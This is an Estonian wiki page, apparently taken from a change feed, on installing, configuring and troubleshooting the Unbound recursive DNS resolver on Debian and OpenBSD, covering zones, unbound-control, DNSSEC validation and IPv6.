&lt;br /&gt;
* name - domeeninimi&lt;br /&gt;
* forward-addr - rekursiivse nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
Selleks, et suunata kõik päringud lahendamiseks edasi sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;.&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
===AS112 tsoonid===&lt;br /&gt;
&lt;br /&gt;
AS112 tsoonide hulka kuuluvad sellised pöördteisenduse tsoonid, vaikimisi vastab AS112 tsooni tehtud päringutele Unbound NXDOMAIN (põhjusel, et sisemiste arvutite poolt tehtud pöördteisenduspäringud ei jõuaks avalikku võrku)&lt;br /&gt;
&lt;br /&gt;
* 10.in-addr.arpa&lt;br /&gt;
* 16.172.in-addr.arpa&lt;br /&gt;
* ...&lt;br /&gt;
* 31.172.in-addr.arpa&lt;br /&gt;
* 168.192.in-addr.arpa&lt;br /&gt;
* 254.169.in-addr.arpa&lt;br /&gt;
* 2.0.192.in-addr.arpa&lt;br /&gt;
* 100.51.198.in-addr.arpa&lt;br /&gt;
* 113.0.203.in-addr.arpa&lt;br /&gt;
&lt;br /&gt;
Lisaks lahendab Unbound vaikimisi mõlemas suunas localhost - 127.0.0.1 teisendust justkui oleks kirjeldatud (sarnaselt on kirjeldatud ka IPv6 ::1)&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;localhost.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN A 127.0.0.1&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN AAAA ::1&lt;br /&gt;
 ..&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;127.in-addr.arpa.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;1.0.0.127.in-addr.arpa. 10800 IN PTR localhost.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Selleks, et asutuse lokaalses autoriteetses nimeserveris kirjeldatud privaatsete aadresside pöördteisendused töötaksid tuleb kirjeldada vastava tsooni jaoks local-zone väärtusega nodefault&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
    ...&lt;br /&gt;
    local-zone: &amp;quot;168.192.in-addr.arpa.&amp;quot; nodefault&lt;br /&gt;
    &lt;br /&gt;
ning nt 192.168.1 võrgu puhul näidata pädeva nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
===Jõudlus===&lt;br /&gt;
&lt;br /&gt;
* Unbound oskab kasutada mitut protsessorit ja nö keskpärasel riistvaral suudab teenidada kümneid tuhandeid päringuid sekundis.&lt;br /&gt;
* Unbound on 2-3 korda kiirem kui Bind.&lt;br /&gt;
&lt;br /&gt;
===Klientprogrammi unbound-host kasutamine===&lt;br /&gt;
&lt;br /&gt;
Klientprogramm unbound-host võimaldab nt kontrollida, kas nimelahenduse valideerimine töötab&lt;br /&gt;
&lt;br /&gt;
  # unbound-host -C unbound.conf -t A -v www.kaminskybug.se &lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 0: validator&lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 1: iterator&lt;br /&gt;
  www.kaminskybug.se is an alias for fou.iis.se. (secure)&lt;br /&gt;
  fou.iis.se has address 212.247.204.242 (secure)&lt;br /&gt;
&lt;br /&gt;
===Haldusprogramm unbound-control===&lt;br /&gt;
&lt;br /&gt;
Haldusprogrammiga unbound-control saab juhtida Unbound resolveri tööd ja küsida statistikat. Kuna unbound-control võimaldab resolveri töötamist oluliselt mõjutada, nt laadida cache sisu tekstifailist või resolveri seisata, siis peab hoolega jälgima, et unbound-control kasutamisele oleks seatud vajalikud piirangud.&lt;br /&gt;
&lt;br /&gt;
====Unbound resolveri ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
unbound-control suhtleb Unbound serveriga vaikimisi üle 953/tcp pordi. Osaliste autentimiseks kasutatakse avaliku-võtme tehnikat, vajalike võtmete genereerimiseks sobib kasutada unbound-control-setup utiliiti&lt;br /&gt;
&lt;br /&gt;
 # unbound-control-setup&lt;br /&gt;
 ... &lt;br /&gt;
 Signature ok&lt;br /&gt;
 subject=/CN=unbound-control&lt;br /&gt;
 Getting CA Private Key&lt;br /&gt;
 Setup success. Certificates created. Enable in unbound.conf file to use&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /var/unbound/etc kataloogi neli võtit, kask serveri ja kaks kliendi jaoks&lt;br /&gt;
&lt;br /&gt;
  unbound_control.key&lt;br /&gt;
  unbound_control.pem&lt;br /&gt;
  unbound_server.key&lt;br /&gt;
  unbound_server.pem&lt;br /&gt;
&lt;br /&gt;
unbound-control kasutamiseks tuleb vastav funktsionaalsus Unbound serveris sisse lülitada nt sektsiooniga&lt;br /&gt;
&lt;br /&gt;
  remote-control:&lt;br /&gt;
        control-enable: yes&lt;br /&gt;
        control-interface: 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
====unbound-control kasutamine====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi kasutab unbound-control Unbound serveri seadistusfaili, nt sobib alustuseks kasutada unbound serverit ja unbound-control utiliiti samas arvutis.&lt;br /&gt;
&lt;br /&gt;
* Unbound resolveri oleku küsimine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control status             &lt;br /&gt;
  version: 1.3.0&lt;br /&gt;
  verbosity: 1&lt;br /&gt;
  threads: 1&lt;br /&gt;
  modules: 2 [ validator iterator ]&lt;br /&gt;
  uptime: 1184 seconds&lt;br /&gt;
  unbound (pid 23298) is running...&lt;br /&gt;
&lt;br /&gt;
* Resolveri cacheist tsooni loomaaed.tartu.ee andmete kustutamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control flush_zone loomaaed.tartu.ee&lt;br /&gt;
  ok removed 3 rrsets, 2 messages and 0 key entries&lt;br /&gt;
&lt;br /&gt;
* Cache sisu esitamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control dump_cache&lt;br /&gt;
&lt;br /&gt;
====Resolveri kasutusstatistika====&lt;br /&gt;
&lt;br /&gt;
Üks unbound-control kasutusjuht on koguda resolveri kasutusstatistikat&lt;br /&gt;
&lt;br /&gt;
  # unbound-control stats_noreset&lt;br /&gt;
&lt;br /&gt;
Praktiliselt on seda sobiv automatiseerida Munin või Cacti tarkvaraga, mida on kirjeldatud aadressil http://www.unbound.net/documentation/howto_statistics.html.&lt;br /&gt;
&lt;br /&gt;
===Unbound ja NSD protsessid samas arvutis===&lt;br /&gt;
&lt;br /&gt;
Unbound seadistusfailis sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.org&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.org&amp;quot; &lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
&lt;br /&gt;
===IPv6 kasutamine===&lt;br /&gt;
&lt;br /&gt;
IPv6 kasutamiseks tuleb seadistusfailis näidata, millisel IPv6 aadressil protsess kuulab&lt;br /&gt;
&lt;br /&gt;
 interface: 2001:1530:90:11:192::53&lt;br /&gt;
&lt;br /&gt;
ning lubada asjakohastest võrkudest teenuse poole pöörduda, nt&lt;br /&gt;
 &lt;br /&gt;
 access-control: fd99::/64 allow&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb arvestada seda, et nimepäringute lahendamiseks kasutab Unbound ise IPv4 ja IPv6 võrku.&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* private-address ja private-domain kasutamine toimub koostöös&lt;br /&gt;
* private-domain loetleb domeenide nimed, mille alla kuuluvad kirjed võivad lahenduda privaatseteks aadressideks&lt;br /&gt;
* private-address määratleb, mida peetakse antud kasutusjuhtumil silmas privaatsete aadresside all&lt;br /&gt;
* üks unbound protssess saab tegeleda ainult ühe komplekti domeenide ja ühe komplekti privaatsete aadressidega&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Takerdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install unbound&lt;br /&gt;
root@arv:~# apt-get install unbound&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound-anchor&lt;br /&gt;
The following NEW packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound unbound-anchor&lt;br /&gt;
0 upgraded, 5 newly installed, 0 to remove and 49 not upgraded.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Setting up unbound (1.6.7-1ubuntu2.6+esm4) ...&lt;br /&gt;
Created symlink /etc/systemd/system/multi-user.target.wants/unbound.service → /lib/systemd/system/unbound.service.&lt;br /&gt;
Created symlink /etc/systemd/system/unbound.service.wants/unbound-resolvconf.service → /lib/systemd/system/unbound-resolvconf.service.&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
invoke-rc.d: initscript unbound, action &amp;quot;start&amp;quot; failed.&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (auto-restart) (Result: exit-code) since Tue 2026-06-16 11:21:17 EEST; 9ms ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 5650 ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS (code=exited, status=1/FAILURE)&lt;br /&gt;
  Process: 5304 ExecStartPre=/usr/lib/unbound/package-helper root_trust_anchor_update (code=exited, status=0/SUCCESS)&lt;br /&gt;
  Process: 5301 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
 Main PID: 5650 (code=exited, status=1/FAILURE)&lt;br /&gt;
Processing triggers for libc-bin (2.27-3ubuntu1.6+esm6) ...&lt;br /&gt;
Processing triggers for systemd (237-3ubuntu10.57+esm3) ...&lt;br /&gt;
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...&lt;br /&gt;
&lt;br /&gt;
root      5304  0.0  0.0   4636   896 ?        Ss   11:20   0:00 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
unbound   5307  0.0  0.0  34596  7820 ?        S    11:20   0:00  \_ /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# systemctl status unbound&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (start-pre) since Tue 2026-06-16 11:33:15 EEST; 38s ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 12287 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
Cntrl PID: 12290 (package-helper)&lt;br /&gt;
    Tasks: 2 (limit: 4915)&lt;br /&gt;
   CGroup: /system.slice/unbound.service&lt;br /&gt;
           ├─12290 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
           └─12293 /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&lt;br /&gt;
Jun 16 11:33:15 arv.auul.pri.ee systemd[1]: Starting Unbound DNS server...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lahenduse koht&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# head -n 10 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
&lt;br /&gt;
root@arv:~# head -n 20 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
RESOLVCONF=&amp;quot;true&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_UPDATE=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -f /etc/default/unbound ]; then&lt;br /&gt;
    . /etc/default/unbound&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;x$RESOLVCONF&amp;quot; in xfalse|x0|xno)&lt;br /&gt;
        RESOLVCONF=&amp;quot;false&amp;quot;&lt;br /&gt;
        ;;&lt;br /&gt;
    esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
t&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
server:&lt;br /&gt;
    interface: 127.0.0.1&lt;br /&gt;
    port: 53&lt;br /&gt;
    do-ip4: yes&lt;br /&gt;
    do-ip6: no&lt;br /&gt;
&lt;br /&gt;
    access-control: 127.0.0.1/32 allow&lt;br /&gt;
    module-config: &amp;quot;iterator&amp;quot;&lt;br /&gt;
    verbosity: 1&lt;br /&gt;
    use-syslog: yes&lt;br /&gt;
    log-queries: yes&lt;br /&gt;
&lt;br /&gt;
stub-zone:&lt;br /&gt;
  name: &amp;quot;xxx.ee&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.111&lt;br /&gt;
&lt;br /&gt;
forward-zone:&lt;br /&gt;
  name: &amp;quot;.&amp;quot;&lt;br /&gt;
  forward-addr: 10.0.9.4&lt;br /&gt;
  forward-addr: 10.0.9.5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://unbound.net/&lt;br /&gt;
* http://unbound.nlnetlabs.nl/pipermail/unbound-users/&lt;br /&gt;
* http://www.howtoforge.com/installing-using-unbound-nameserver-on-debian-etch&lt;br /&gt;
* http://www.nlnetlabs.nl/publications/dnssec_howto/index.html&lt;br /&gt;
* http://secspider.cs.ucla.edu/islands.html&lt;br /&gt;
* https://itar.iana.org/&lt;br /&gt;
* https://ns.iana.org/dnssec/status.html&lt;br /&gt;
* https://dlv.isc.org/&lt;br /&gt;
* http://en.wikipedia.org/wiki/AS112&lt;br /&gt;
* [[:Pädeva nimeserveri NSD kasutamine]]&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4243</id>
		<title>Rekursiivse resolveri Unbound kasutamine operatsioonisüsteemiga Debian</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Rekursiivse_resolveri_Unbound_kasutamine_operatsioonis%C3%BCsteemiga_Debian&amp;diff=4243"/>
		<updated>2026-06-17T15:31:59Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* 2026 kevad märkused */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Kategooria:Interneti domeeninimede süsteem]]&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
Üks võimalus liigitada nimeservereid või nimeserverite tarkvara on selle järgi, millised päringuid teenindatakse&lt;br /&gt;
&lt;br /&gt;
* pädev ehk autoriteetne (ingl. k. authoritative) - vastab päringutele ainult nimeserveri tsoonifailis kirjeldatud andmete alusel; autoriteetsed nimeserverid teenindavad reeglina resolverite päringuid&lt;br /&gt;
* rekursiivne (ingl. k. recursive) - rekursiivne nimeserver ei sisalda nö oma tsoonifaili, st ta ei ole mingite vastuste osas autoriteetne; rekursiivne nimeserver teenindab mingi piiratud hulga klientide päringuid lahendades neid autoriteetsete nimeserverite abil ja seetõttu nimetatakse rekursiivset nimeserverit tihti resolveriks (ingl. k. to resolve - lahendama)&lt;br /&gt;
&lt;br /&gt;
Unbound http://www.unbound.net/ resolveril on selliseid omadused&lt;br /&gt;
&lt;br /&gt;
* rekursiivne - lahendab nö lõppkasutaja esitatud päringuid, nt sobib seadistada töökohaarvuti nimeserveriks&lt;br /&gt;
* vaheladustav (ingl. k. caching) - Unbound peab kord lahendatud vastust mõnda aega meeles, mis tähendab, et järgmisele samale päringule vastab ta kliendile kohe ja ei pea omakorda pöörduma vastuse saamiseks autoriteetsete nimeserverite poole&lt;br /&gt;
* valideeriv - toetab DNSSEC kasutamist&lt;br /&gt;
* IPv6 tugi&lt;br /&gt;
&lt;br /&gt;
Rekursiivse resolveri vastutus on parimal võimalikul moel anda kliendi esitatud päringule vastus, seejuures&lt;br /&gt;
&lt;br /&gt;
* kasutada vastuse koostamisel mitmete pädevate nimeserverite abi&lt;br /&gt;
* anda õige vastus - nt mitte ennast lasta eksitada cache poisoning tehnikatest, võimalusel kasutada DNSSEC vahendeid&lt;br /&gt;
* vastata kiiresti&lt;br /&gt;
&lt;br /&gt;
===Unbound paigaldamine===&lt;br /&gt;
&lt;br /&gt;
2011 aastal leidub paljude operatsioonisüsteemide paketihalduses Unbound tarkvara. &lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze sisaldab versiooni 1.4.6 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install unbound&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
OpenBSD 5.4 sisaldab binaarse paketina versiooni 1.4.9 ja paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pkg_add unbound      &lt;br /&gt;
 unbound-1.4.20:libldns-1.6.16p0: ok                                                                                                        &lt;br /&gt;
 useradd: Warning: home directory `/var/unbound' doesn't exist, and -m was not specified                                                    &lt;br /&gt;
 unbound-1.4.20: ok                                                                                                                         &lt;br /&gt;
 The following new rcscripts were installed: /etc/rc.d/unbound&lt;br /&gt;
 See rc.d(8) for details.&lt;br /&gt;
 --- +unbound-1.4.20 -------------------&lt;br /&gt;
 You should add:&lt;br /&gt;
 &lt;br /&gt;
     syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 to /etc/rc.conf.local to create a syslog socket in the unbound chroot.&lt;br /&gt;
&lt;br /&gt;
Selleks, et /etc/rc.d/unbound skript töötaks, peab olema seadistatud unbound-control (127.0.0.1 pealt).&lt;br /&gt;
&lt;br /&gt;
===Unbound seadistamine===&lt;br /&gt;
&lt;br /&gt;
Resolveri seadistusfailis tuleb näidata muu hulgas&lt;br /&gt;
&lt;br /&gt;
* juurnimeserverite aadressid&lt;br /&gt;
* millisel aadressil resolver päringuid teenindab&lt;br /&gt;
* millised kliendid saavad resolverit kasutada, tavaliselt kliendi src ip aadressi täpsusega&lt;br /&gt;
&lt;br /&gt;
Unbound tööd juhib seadistusfail unbound.conf&lt;br /&gt;
&lt;br /&gt;
* /etc/unbound/unbound.conf - Debian&lt;br /&gt;
* /var/unbound/etc/unbound.conf - OpenBSD&lt;br /&gt;
&lt;br /&gt;
Lihtsamal juhul võib kasutada nt sellise sisuga seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
     interface: 192.168.10.190&lt;br /&gt;
     outgoing-interface: 192.168.10.190&lt;br /&gt;
     access-control: 192.168.1.0/24 allow&lt;br /&gt;
     access-control: 192.168.10.0/24 allow_snoop&lt;br /&gt;
     root-hints: &amp;quot;/var/unbound/etc/named.cache&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* interface - millisel aadressil arvuti Unbound resolveri kliente teenindab&lt;br /&gt;
* outgoing-interface - milliselt aadressilt resolveri päringud autoriteetsetele nimeserveritele väljuvad&lt;br /&gt;
* access-control - millistelt ip aadressidelt saab Unbound resolverit kasutada; allow lubab esitada ainult rekursiivseid päringuid, nt +norec annab vaikimisi refused vastuse&lt;br /&gt;
&lt;br /&gt;
 $ dig +norec @nimeserver domeeni.nimi&lt;br /&gt;
 ...&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 52133&lt;br /&gt;
&lt;br /&gt;
allow_snoop lubab mõlemaid (viimane on vajalik, et unbound kasutaja saaks öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig +trace @nimeserver domeeni.nimi&lt;br /&gt;
&lt;br /&gt;
* root-hints - resolver peab alati teadma interneti juurnimeserverite aadresse&lt;br /&gt;
&lt;br /&gt;
Juurnimeserverite aadresse saab küsida mõnes juba seadistatud resolveriga arvutis&lt;br /&gt;
&lt;br /&gt;
  $ dig . ns&lt;br /&gt;
&lt;br /&gt;
või kopeerida aadressilt Linuxis&lt;br /&gt;
&lt;br /&gt;
  $ wget ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
OpenBSD keskkonnas&lt;br /&gt;
&lt;br /&gt;
  $ ftp ftp://FTP.INTERNIC.NET/domain/named.cache&lt;br /&gt;
&lt;br /&gt;
===Unbound käivitamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolver teenindab päringuid portidel 53/udp ja 53/tcp.&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
====OpenBSD====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Unbound töötaks OpenBSD all chroot keskkonnas kataloogis /var/unbound kasutajana _unbound tuleb kasutada seadistusfailis rida&lt;br /&gt;
&lt;br /&gt;
 chroot: &amp;quot;/var/unbound&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Et chroot keskkonnas töötav Unbound saaks logida syslog'i tuleb syslog käivitamisel lisaks kasutada '-a /var/unbound/dev/log'&lt;br /&gt;
&lt;br /&gt;
  # syslogd -a /var/www/dev/log -a /var/empty/dev/log -a /var/unbound/dev/log&lt;br /&gt;
&lt;br /&gt;
/etc/rc.conf.local failis sobib kasutada rida&lt;br /&gt;
&lt;br /&gt;
  syslogd_flags=&amp;quot;${syslogd_flags} -a /var/unbound/dev/log&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2012 kevadel ütleb OpenBSD v. 5.1 paketihalduse unbound chroot kasutamisel kävitamisel nii&lt;br /&gt;
&lt;br /&gt;
 # unbound -dv                             &lt;br /&gt;
 [1335943357] unbound[20534:0] notice: Start of unbound 1.4.15.&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: increased limit(open files) from 128 to 4140&lt;br /&gt;
 [1335943357] unbound[20534:0] warning: unable to setusercontext _unbound: Bad file descriptor&lt;br /&gt;
&lt;br /&gt;
Limiitide tuleb töötada sarnaselt nagu on kirjeldatud aadressil http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_OpenBSD_kasutamine#Login_class_kasutamine.&lt;br /&gt;
&lt;br /&gt;
Tavalisel viisil sobib kasutada käivitusskripti&lt;br /&gt;
&lt;br /&gt;
  # /etc/rc.d/unbound start | stop&lt;br /&gt;
&lt;br /&gt;
Vastasel korral on logis midagi sellist&lt;br /&gt;
&lt;br /&gt;
 Mar 13 16:03:01 unbound[28759:0] error: can't create socket: Too many open files&lt;br /&gt;
&lt;br /&gt;
===Unbound kasutamine===&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri kasutajateks on tavaliselt arvutid, mis vajavad nimelahendust, nt kohtvõrgu arvutid, eposti serverid jt kusjuures Unbound protsess töötab selleks ettenähtud arvutis või võrgusõlmeks olevas seadmes&lt;br /&gt;
&lt;br /&gt;
      internet&lt;br /&gt;
        ...&lt;br /&gt;
         |&lt;br /&gt;
        _|_&lt;br /&gt;
       |   | OpenBSD võrgusõlm&lt;br /&gt;
       |___| Unbound protsess&lt;br /&gt;
         |&lt;br /&gt;
   --|---|----------|-----------|--&lt;br /&gt;
     |              |           |&lt;br /&gt;
 &lt;br /&gt;
          dns kliendid (töökohaarvuti, serverid)&lt;br /&gt;
&lt;br /&gt;
Linux keskkonnas sobib näidata nimeserveri aadress staatiliselt arvuti /etc/resolv.conf failis nt reaga&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.10.190&lt;br /&gt;
&lt;br /&gt;
Unbound resolveri tööd saab kontrollida nt öeldes mõnes arvutis, kus peab kõnealust resolverit saama kasutada&lt;br /&gt;
&lt;br /&gt;
  $ dig @192.168.10.190 kuutorvaja.eenet.ee a&lt;br /&gt;
&lt;br /&gt;
ja vastus peaks sisaldama sarnaseid ridu rida&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;kuutorvaja.eenet.ee.           IN      A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  kuutorvaja.eenet.ee.    83840   IN      A       193.40.0.7&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
===Nimepäringu vastuse valideerimine===&lt;br /&gt;
&lt;br /&gt;
Nimepäringute vastuste valideerimiseks kasutatakse üldiselt DNSSEC tehnikat. 2011 aastal on selleks mitmeid võimalusi, kaks populaarsemat on&lt;br /&gt;
&lt;br /&gt;
* signeeritud tsoonifailidega juurnimeserverite kasutamine, kõige loomulikum viis&lt;br /&gt;
* DLV (DNSSEC Look-aside Validation) - üleminekuaja häkk&lt;br /&gt;
&lt;br /&gt;
Kui nimeteenust kasutatakse sarnaselt ülaltoodud skeemile, siis peab arvestama, et DNSSEC kontroll toimub Unbound protsessi juures, sealt edasi kliendini liigub vastus tavalise avateksina üle kohtvõrgu ja klient otsustab vastuse turvalisuse üle ad biti järgi vastuses. Seetõttu on reeglina soovitav, et Unbound töötaks nimeteenust kasutatavatele arvutitele võimalikult lähedal.&lt;br /&gt;
&lt;br /&gt;
DNSSEC juurutamise kronoloogia&lt;br /&gt;
&lt;br /&gt;
* 15. juuli 2010 - juurnimeserverid kasutavad signeeritud tsoone http://www.root-dnssec.org/&lt;br /&gt;
* ? - .org tsoon on signeeritud&lt;br /&gt;
* 31. märts 2011 - .com tsoon on signeeritud http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.theregister.co.uk/2011/04/01/dnssec_com_goes_live/&lt;br /&gt;
